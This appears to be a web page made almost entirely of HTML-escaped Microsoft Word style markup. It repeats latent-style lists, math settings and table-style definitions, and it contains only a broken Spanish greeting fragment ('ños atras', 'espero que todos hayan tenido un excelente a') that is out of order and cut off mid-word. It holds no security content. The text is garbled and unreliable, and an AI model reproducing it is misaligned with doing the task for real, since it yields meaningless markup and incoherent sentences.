&lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-qformat:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin-top:0in;  mso-para-margin-right:0in;  mso-para-margin-bottom:10.0pt;  mso-para-margin-left:0in;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-ascii-font-family:Calibri;  mso-ascii-theme-font:minor-latin;  mso-fareast-font-family:"Times New Roman";  mso-fareast-theme-font:minor-fareast;  mso-hansi-font-family:Calibri;  mso-hansi-theme-font:minor-latin;  mso-bidi-font-family:"Times New Roman";  mso-bidi-theme-font:minor-bidi;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style=""&gt;ños atras.&lt;br /&gt;&lt;br /&gt;espero que todos hayan tenido un excelente a&lt;/span&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" 